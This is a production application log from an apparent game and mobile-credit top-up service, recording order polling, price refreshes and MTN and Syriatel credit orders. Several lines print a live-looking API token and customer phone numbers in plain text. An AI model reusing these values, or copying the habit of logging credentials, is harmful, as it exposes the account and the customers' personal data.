[2026-03-24 09:18:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:18:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"DyzsdjNh88XugBTYMxS6dZvLTMNbyXME","execution_time":"2026-03-24 09:18:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:20:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04"} 
[2026-03-24 09:20:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","total_operations":1,"sites_count":1} 
[2026-03-24 09:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:20:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"PKmn6kHFs6LhsRTmhDtfobD2E1rxrGr7","execution_time":"2026-03-24 09:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 09:20:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 09:20:06] production.INFO: async() رجع: true  
[2026-03-24 09:20:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:20:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:20:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01"} 
[2026-03-24 09:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:22:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"bnByMcLCbE48nCvH4iF0pGLnQhCxensV","execution_time":"2026-03-24 09:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01"} 
[2026-03-24 09:24:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"bOUOB1GW84Vc27lVRvTUat5nhYjgVjNE","execution_time":"2026-03-24 09:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 09:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 09:25:04] production.INFO: async() رجع: true  
[2026-03-24 09:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:26:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02"} 
[2026-03-24 09:26:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"deD8Wy2D17hT82WBDSKzpNIO2Xe6HbIe","execution_time":"2026-03-24 09:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02"} 
[2026-03-24 09:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:28:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Mx5nDGTBN5BNgzYHtGle154R28s6HwvW","execution_time":"2026-03-24 09:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:30:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03"} 
[2026-03-24 09:30:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","total_operations":1,"sites_count":1} 
[2026-03-24 09:30:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:30:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VRGxNwMW2G9qTPvrRNl0qQIXgU9G0Nxl","execution_time":"2026-03-24 09:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 09:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 09:30:05] production.INFO: async() رجع: true  
[2026-03-24 09:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:30:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:31:00] production.INFO: Constructing job for order: 178535  
[2026-03-24 09:31:02] production.INFO: Constructing job for order: 178536  
[2026-03-24 09:31:03] production.INFO: Handling job for order: 178535  
[2026-03-24 09:31:03] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:31:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:31:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=1c39685a-7cd1-49c7-a054-d10376e02b33&Player_ID=0957719284  
[2026-03-24 09:31:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=1c39685a-7cd1-49c7-a054-d10376e02b33&Player_ID=0957719284","has_body":false} 
[2026-03-24 09:31:04] production.INFO: Operation sent successfully {"operation_id":163466,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8GJc08VG-1774333864","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 09:31:04"}},"processed_data":{"order_number":"ORD-8GJc08VG-1774333864","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 09:31:04] production.INFO: Handling job for order: 178536  
[2026-03-24 09:31:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:31:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:31:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=35d387d1-5d02-4473-b99b-7ed169370bc4&Player_ID=0957719284  
[2026-03-24 09:31:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=35d387d1-5d02-4473-b99b-7ed169370bc4&Player_ID=0957719284","has_body":false} 
[2026-03-24 09:31:05] production.INFO: Operation sent successfully {"operation_id":163467,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ysU-1774333864","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 09:31:05"}},"processed_data":{"order_number":"ORD-ysU-1774333864","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 09:31:24] production.INFO: Constructing job for order: 178537  
[2026-03-24 09:31:26] production.INFO: Handling job for order: 178537  
[2026-03-24 09:31:26] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:31:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:31:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=113b126b-547e-4a09-a454-6d3ee26e1771&Player_ID=0994352425  
[2026-03-24 09:31:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=113b126b-547e-4a09-a454-6d3ee26e1771&Player_ID=0994352425","has_body":false} 
[2026-03-24 09:31:26] production.INFO: Operation sent successfully {"operation_id":163468,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cqftLv-1774333886","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 09:31:26"}},"processed_data":{"order_number":"ORD-cqftLv-1774333886","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 09:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02"} 
[2026-03-24 09:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","total_operations":4,"sites_count":2} 
[2026-03-24 09:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":3,"order_ids":["ORD-8GJc08VG-1774333864","ORD-ysU-1774333864","ORD-cqftLv-1774333886"]} 
[2026-03-24 09:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":3} 
[2026-03-24 09:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 09:32:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 09:32:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"count":3} 
[2026-03-24 09:32:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"count":3} 
[2026-03-24 09:32:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"user_id":43,"notification_type":"order_approved","reference_id":178535} 
[2026-03-24 09:32:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"user_id":43,"notification_type":"order_approved","reference_id":178537} 
[2026-03-24 09:32:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"user_id":43,"notification_type":"order_approved","reference_id":178536} 
